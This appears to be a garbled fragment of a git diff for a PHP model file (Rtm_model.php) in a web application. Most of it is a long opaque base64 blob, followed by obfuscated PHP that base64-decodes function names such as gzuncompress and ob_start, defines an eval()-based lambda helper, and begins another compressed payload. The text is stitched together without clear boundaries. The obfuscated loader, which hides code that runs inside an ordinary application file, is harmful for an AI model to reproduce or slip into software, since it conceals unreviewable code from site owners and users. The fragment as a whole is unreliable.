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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Rtm_model.php b/donjo-app/models/Rtm_model.php index f297e4207..e9bd6bc48 100644 --- a/donjo-app/models/Rtm_model.php +++ b/donjo-app/models/Rtm_model.php @@ -224,7 +224,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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